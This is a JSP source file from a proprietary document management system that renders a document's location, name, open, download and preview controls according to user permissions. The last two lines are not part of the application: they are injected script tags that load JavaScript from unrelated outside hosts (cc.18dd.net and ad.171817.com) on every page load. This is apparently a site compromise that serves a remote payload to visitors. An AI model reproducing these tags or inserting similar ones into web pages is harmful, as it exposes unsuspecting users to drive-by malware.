<%
/*
 * @(#)IncludeDocumentInfo.jsp
 *
 * Copyright (c) 2006 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  IncludeDocumentInfo.jsp

  This class is reflecting business logic uses.

    @author           greatwall shao
    @company          DCIVision Limited
    @creation date    2006-09-26

*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.text.*"%>
<%@ page import="javax.servlet.jsp.*"%>
<%@ page import="com.dcivision.framework.GlobalConstant" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.alert.bean.UpdateAlert"%>
<%@ page import="com.dcivision.forum.bean.*"%>
<%@ page import="com.dcivision.forum.core.*"%>
<%@ page import="com.dcivision.forum.*"%>
<%@ page import="com.dcivision.alert.core.*"%>
<%@ page import="com.dcivision.alert.bean.*"%>
<%@ page import="com.dcivision.alert.dao.*"%>
<%@ page import="java.sql.Timestamp"%>
<!-- Framework Javascript Begin -->
<script language="Javascript">
<jsp:include page="/js/Variable.jsp"/>
</script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Calendar.jsp" charset="UTF-8" type="text/javascript"></script>
<!-- Framework Javascript End -->

<!-- Static Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/AnchorPosition.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.js" charset="UTF-8" type="text/javascript"></script>
<logic:notEqual name ="isFromEmail" value="yes">
  <script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.js" charset="UTF-8" type="text/javascript"></script>
  <script language="Javascript" src="<%= request.getContextPath() %>/js/OverLibHiddenForm.js" charset="UTF-8" type="text/javascript"></script>
</logic:notEqual>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Tree.js" charset="UTF-8" type="text/javascript"></script>
<!-- Static Javascript End -->

<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/DmsDocumentListDeleteFacade.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/DmsDocumentCheckoutFacade.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>

<!-- Dynamic Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/jsp/customize/CustomizedJS.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp" charset="UTF-8" type="text/javascript"></script>
<!-- Dynamic Javascript End -->
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsDocumentForm" scope="request" class="com.dcivision.dms.web.MaintDmsDocumentForm"/>
<jsp:useBean id="messageBean" scope="request" class="com.dcivision.alert.core.MessageInfoBean"/>
<%
  String      LIST_NAME = "forumGroupDetailList";

  //Get and Set all the document info for target document ID
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);

  Integer documentID = TextUtility.parseIntegerObj(messageBean.getDocumentID());
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  DocumentValidateManager docValidateManager = new DocumentValidateManager(sessionContainer,conn);
  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);

  UpdateAlertTypeDAObject updateAlertTypeDAO = new UpdateAlertTypeDAObject(sessionContainer,conn);
  List updateAlertActionTypes = Utility.getPropertyList(updateAlertTypeDAO.getByUpdateAlertIDByOwnerID(new Integer(messageBean.getUpdateAlertID()),null),"actionType");
  
  
  maintDmsDocumentForm = docRetrievalManager.getAllDocumentRelatedInfo(documentID);
  DmsDocument targetDocument = (DmsDocument)maintDmsDocumentForm.getFormData();
  DmsDocument dmsDocument=docRetrievalManager.getDocument(documentID);

  DmsCheckoutHistory checkoutHistory = new DmsCheckoutHistory();
  String docItemStatus = maintDmsDocumentForm.getItemStatus();
  Integer checkoutPersonID = new Integer("0");
  if (DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus)) {
    checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(TextUtility.parseIntegerObj(maintDmsDocumentForm.getCheckoutID()));
    checkoutPersonID = checkoutHistory.getCheckoutPersonID();
  }

  /*Parameter for common document info */
  final Integer rootID       = TextUtility.parseIntegerObj(maintDmsDocumentForm.getRootID());
  final Integer parentID     = TextUtility.parseIntegerObj(maintDmsDocumentForm.getParentID());
  final String documentType  = maintDmsDocumentForm.getDocumentType();
 
  final String sCurFunctionCode = (String) maintDmsDocumentForm.getCurFunctionCode();
  final List udfDetailList = (List) maintDmsDocumentForm.getUdfDetailList();
  final List docDetailList = (List) maintDmsDocumentForm.getDocumentDetails();
  String fromEmail=request.getParameter("fromEmail");
  if(Utility.isEmpty(fromEmail)){
    fromEmail=(String)session.getAttribute("fromEmail");
  }

  //Check for permission and the document location
  DmsDocument rootFolder = (DmsDocument)messageBean.getRootFolder();
  if (rootFolder == null) {
    rootFolder = (DmsDocument)docRetrievalManager.getRootFolderByRootID(rootID);
  }
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  //Permission string TODO: byPass permission if WF module
  
  if (DmsDocument.DOCUMENT_LINK.equals(documentType)){
  	MtmDocumentRelationshipDAObject mdocrsDAO=new MtmDocumentRelationshipDAObject(sessionContainer,conn);
  	Integer tmpDocumentID=mdocrsDAO.getTargetDocIDByRelatedDocID(documentID,documentType);
  	if( !Utility.isEmpty(tmpDocumentID) ){
  		documentID = tmpDocumentID;
  	}
  }
  String permission=permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, documentID);
  String parentObjPermission=permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, parentID);
  
  String action = request.getParameter("messageType");
    //add "R" right permission
    if (permission==null) permission = "";
    int idx = 0;
  if(!Utility.isEmpty(action)&&"documentInvitation".equals(action)) {
    if ((idx = permission.indexOf("r"))!=-1) {
        permission = permission.substring(0, idx) + "R"+ permission.substring(idx+1);
      }else if ((idx = permission.indexOf("R"))==-1) {
        permission = "R" + permission;
      }
   }
  //Get parameter for document download.jsp
  String sVersion = DmsOperationConstant.DMS_TOP_VERSION;
  String sFileName=maintDmsDocumentForm.getDocumentName();
  int iDot = sFileName.lastIndexOf(".");
  String sExt = TextUtility.getExtension(sFileName);
  String contextPath = (String)pageContext.getServletContext().getAttribute(GlobalConstant.CONTEXT_PATH_KEY);

  //Variable for DOCUMENT_LINK
  DmsDocument targetDoc = new DmsDocument();
  DmsDocument targetDocRoot = new DmsDocument();
  String targetDocPermission = "";

  //get list of the document relation
  MtmDocumentRelationshipDAObject dmsMtmDocumentRelationshipDAO = new MtmDocumentRelationshipDAObject (sessionContainer, conn);
  List DocRelationList = new ArrayList();
  List IndirectRelationDocumentList=new ArrayList();
  DocRelationList = dmsMtmDocumentRelationshipDAO.getListByIDRelationType(documentID,null);
  IndirectRelationDocumentList=dmsMtmDocumentRelationshipDAO.getListByRelationIDRelationType(documentID,null);
  //get list of compound document

  List CompoundDocList = new ArrayList();
  if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)||DmsDocument.PAPER_DOC_TYPE.equals(documentType)){
      CompoundDocList=docRetrievalManager.getDocumentListByParentIDRootID(documentID, rootID);
  }

  //Operate the "READ" action indicator for Home page directed
  String updateReadOperation ="false";
  boolean inviteToRead = false;

  if (SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_INVITATION_OVERWRITE_STANDARD)){
    inviteToRead = true;
  }
  String displayType = (String)request.getSession().getAttribute("displayType");
  request.getSession().removeAttribute("displayType");


  boolean isDisplay = true;
  if(displayType!=null){
    isDisplay = false;
  }
  String directURL=(String)request.getAttribute("directURL");
  if(Utility.isEmpty(directURL)){
    directURL = request.getContextPath()+"/dms/MaintDmsDocument.do?documentType="+dmsDocument.getDocumentType()+"&rootID="+dmsDocument.getRootID()+"&parentID="+dmsDocument.getID()+"&sCurFunctionCode="+sCurFunctionCode+"&navMode=P&ID="+dmsDocument.getID()+"&objectID="+dmsDocument.getID()+"&fromEmail="+fromEmail+"&updateReadOperation="+updateReadOperation;

  }
  directURL=java.net.URLEncoder.encode(directURL);
  DmsRoot dmsRoot=(DmsRoot)docRetrievalManager.getDmsRootByDocumentID(documentID);

  boolean isPersonalRoot = (dmsRoot!=null && DmsRoot.PERSONAL_ROOT.equals(dmsRoot.getRootType()));
  String recordStatus = maintDmsDocumentForm.getRecordStatus();
  boolean showDownload = SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_SHOW_DOWNLOAD_BUTTON);
  
  if (DmsDocument.DOCUMENT_LINK.equals(documentType)){
      Integer targetDocID = dmsMtmDocumentRelationshipDAO.getTargetDocIDByRelatedDocID(dmsDocument.getID(), dmsDocument.getDocumentType());
      if( !Utility.isEmpty(targetDocID) ) {
	      targetDoc = docRetrievalManager.getDocument(targetDocID);
	      if (targetDoc!=null) {
	        targetDocRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(targetDoc.getRootID());
	        targetDocPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, targetDoc.getID());
	      }
	  }
  }

%>  
  <table width="100%" cellpadding="0" cellspacing="0">
	  <tr>
	    <td class="formLabelSmall"><bean:message key='dms.label.location'/>:&nbsp;</td>
	    <td colspan="4" class="formFieldSmall">
	    <%if(Utility.isEmpty(parentObjPermission)){%>
	      <dms:locationPath onClick="false" parentID="<%=parentID%>" rootID="<%=rootID%>" permission='<%=permission%>' rootDocument='<%=rootFolder%>' indexFlag='RelatedDocIndexFlag'/>
	    <%}else{%>
	     <dms:locationPath parentID="<%=parentID%>" rootID="<%=rootID%>" permission='<%=parentObjPermission%>' rootDocument='<%=rootFolder%>' indexFlag='RelatedDocIndexFlag'/>
	     <%}%>
	    </td>
	  </tr>	   
	
	  <tr>
	   <%if (DmsDocument.DOCUMENT_LINK.equals(documentType) && targetDoc.getID() != null){ %>
	     <td class="formLabelSmall"><bean:message key='<%="dms.label.doc_type_" + targetDoc.getDocumentType()%>'/> <bean:message key="dms.label.document_name"/>:&nbsp;</td>
	    <%}else{ %>
	     <td class="formLabelSmall"><bean:message key='<%="dms.label.doc_type_"+documentType%>'/> <bean:message key="dms.label.document_name"/>:&nbsp;</td>
	    <%} %>	    
	    <td class="formFieldSmall">
	   &nbsp;
	    <nobr>
	     <%if (DmsDocument.DOCUMENT_LINK.equals(documentType) && targetDoc.getID() != null){ 
	    	 pageContext.setAttribute(DmsOperationConstant.DMS_DOCUMENT_BEAN,targetDoc);
	    	 %>	 
	     <dms:contextMenu/>
	     <dms:documentInfo docObject='<%=targetDoc%>' permission='<%=targetDocPermission%>' rootDocument='<%=targetDocRoot%>' isOverLib='true' onClick='false'/>
	    <%}else{ 
	    	pageContext.setAttribute(DmsOperationConstant.DMS_DOCUMENT_BEAN,(DmsDocument)maintDmsDocumentForm.getFormData());
	    	%>
	    	<dms:contextMenu/>
	     <dms:documentInfo docObject='<%=(DmsDocument)maintDmsDocumentForm.getFormData()%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' isOverLib='true' onClick='false'/>
	    <%} %>
	    </nobr>
	    <% if(messageBean.isCanShowDoc()){%>
	      <% if(!SystemFunctionConstant.DMS_EMPTY_FILE.equals(sCurFunctionCode)&&!dmsDocument.getDocumentType().equals(DmsDocument.FOLDER_TYPE)){%>
	      <html:img src='LayoutSpacer.gif' width='30'/>
	
	      <% if ((GlobalConstant.RECORD_STATUS_INACTIVE.equals(maintDmsDocumentForm.getRecordStatus()))||(DmsVersion.ARCHIVED_STATUS.equals(maintDmsDocumentForm.getItemStatus()))){%>
	        <html:standardButton label="dms.label.openfile" disable="true"/>
	        <% if(showDownload){%>
	          <html:standardButton label="dms.label.download" disable="true"/>
	        <% } %>
	
	      <%} else if (DmsDocument.DOCUMENT_LINK.equals(documentType) && targetDoc!=null && (GlobalConstant.RECORD_STATUS_INACTIVE.equals(targetDoc.getRecordStatus()) || DmsVersion.ARCHIVED_STATUS.equals(targetDoc.getItemStatus()))){%>
	        <html:standardButton label="dms.label.openfile" disable="true"/>
	
	          <% if(showDownload){ %>
	            <html:standardButton label="dms.label.download" disable="true"/>
	          <%}%>
	
	      <%} else {%>
	          <%if (!(targetDocument.isExpired())&&((!Utility.isEmpty(permission) && permission.indexOf("R")>=0) || (inviteToRead && DmsRoot.PERSONAL_ROOT.equals(dmsRoot.getRootType())))){%>
	
	            <%if(!DmsDocument.PAPER_DOC_TYPE.equals(documentType) && (!DmsDocument.PAPER_DOC_TYPE.equals(targetDoc.getDocumentType())) ){%>
	                <html:standardButton label="dms.label.openfile" target="_blank" link='<%=contextPath + "/dms/FileDownloadServlet?sCurFunctionCode=" + sCurFunctionCode + "&targetID=" + maintDmsDocumentForm.getID() + "&documentType=" + documentType + "&version=" + sVersion + "&ext=." + sExt + "&invitation=true"%>'/>
	                <%if(showDownload){%>
	                  <html:standardButton label="dms.label.download" link='<%=contextPath + "/dms/FileDownloadServlet?sCurFunctionCode=" + sCurFunctionCode + "&targetID=" + maintDmsDocumentForm.getID() + "&documentType=" + documentType + "&version=" + sVersion + "&isDownload=Y&ext=." + sExt + "&invitation=true"%>'/>
	                <%}%>
	            <%}%>
	
	            <%if((DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)) || (DmsDocument.DOCUMENT_LINK.equals(documentType)&& (DmsDocument.COMPOUND_DOC_TYPE.equals(targetDoc.getDocumentType())))){%>
	                 <%if(showDownload){%>
	                     <%if(DmsDocument.DOCUMENT_LINK.equals(documentType)) {%>
	                       <html:standardButton label="dms.label.downloadall" link='<%=contextPath + "/jsp/dms/ZipCompoundDownload.jsp?sCurFunctionCode=" + sCurFunctionCode + "&targetID=" + targetDoc.getID() + "&version=" + sVersion + "&isDownload=Y&ext=." + sExt + "&invitation=true"%>'/>
	                     <%}else{ %>
	                      <html:standardButton label="dms.label.downloadall" link='<%=contextPath + "/jsp/dms/ZipCompoundDownload.jsp?sCurFunctionCode=" + sCurFunctionCode + "&targetID=" + maintDmsDocumentForm.getID() + "&version=" + sVersion + "&isDownload=Y&ext=." + sExt + "&invitation=true"%>'/>
	                 <%}}%>
	            <%}%>
	            <%if(messageBean.isPicture()){%>
	              <span id="divShareShow" style="display:none">
	                <html:standardButton label="calendar.label.hide_preview" onClick="showBlock('divShareHide'); hideBlock('listCalendar'); hideBlock('divShareShow'); deleteIframeSrc();return false" />
	              </span> 
	              <span id="divShareHide" style="display:block">
	                <html:standardButton label="calendar.label.show_preview" onClick="addIframeSrc(); hideBlock('divShareHide');showBlock('listCalendar'); showBlock('divShareShow'); return false" />
	              </span>  
	         <%}%>
	        <%}else{%>
	              <html:standardButton label="dms.label.openfile" disable="true"/>
	              <%if(showDownload){%>
	                  <html:standardButton label="dms.label.download" disable="true"/>
	              <%}%>
	
	              <%if((DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)) || (DmsDocument.DOCUMENT_LINK.equals(documentType)&& (DmsDocument.COMPOUND_DOC_TYPE.equals(targetDoc.getDocumentType())))){%>
	                  <%if(showDownload){%>
	                    <html:standardButton label="dms.label.downloadall" disable="true"/>
	                  <%}%>
	              <%}%>
	              <%if(messageBean.isPicture()){%>
	                <html:standardButton label="calendar.label.show_preview" disable="true"/>
	              <%}%>
	         <%}%>
	      <%}%>
	    <%}%>
	  <%}%>
	  </td>
	  </tr>
	</table>

	<div id='listCalendar' align="center"  style="display:none">
    <table>
      <tr>
        <td colspan="5"><hr /></td>
      </tr>
      <tr bgcolor="">
        <td height="50" colspan="5" align="center">
          <iframe id= "documentPreview" align="middle"  width=800 height=400 frameborder=0 >
          </iframe>
        </td>
      </tr>
    </table>
	</div>

<script language="Javascript">
<!--
function addIframeSrc(){
	if(document.getElementById("documentPreview").document){
		  document.frames["documentPreview"].location.href = "<%=contextPath%>/dms/FileDownloadServlet?sCurFunctionCode=<%=sCurFunctionCode%>&targetID=" +
		    "<%=maintDmsDocumentForm.getID()%>&documentType=<%=documentType%>&version=<%=sVersion%>&&ext=.<%=sExt%>&invitation=true"
  }else{
		document.getElementById("documentPreview").contentWindow.document.location.href = "<%=contextPath%>/dms/FileDownloadServlet?sCurFunctionCode=<%=sCurFunctionCode%>&targetID=" +
	  "<%=maintDmsDocumentForm.getID()%>&documentType=<%=documentType%>&version=<%=sVersion%>&&ext=.<%=sExt%>&invitation=true"
	}
}
function deleteIframeSrc(){
  if(document.getElementById("documentPreview").document){
    document.frames["documentPreview"].location.href = "about:blank";
  }else{
  	document.getElementById("documentPreview").contentWindow.document.location.href = "about:blank";
  }
}
-->
</script>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>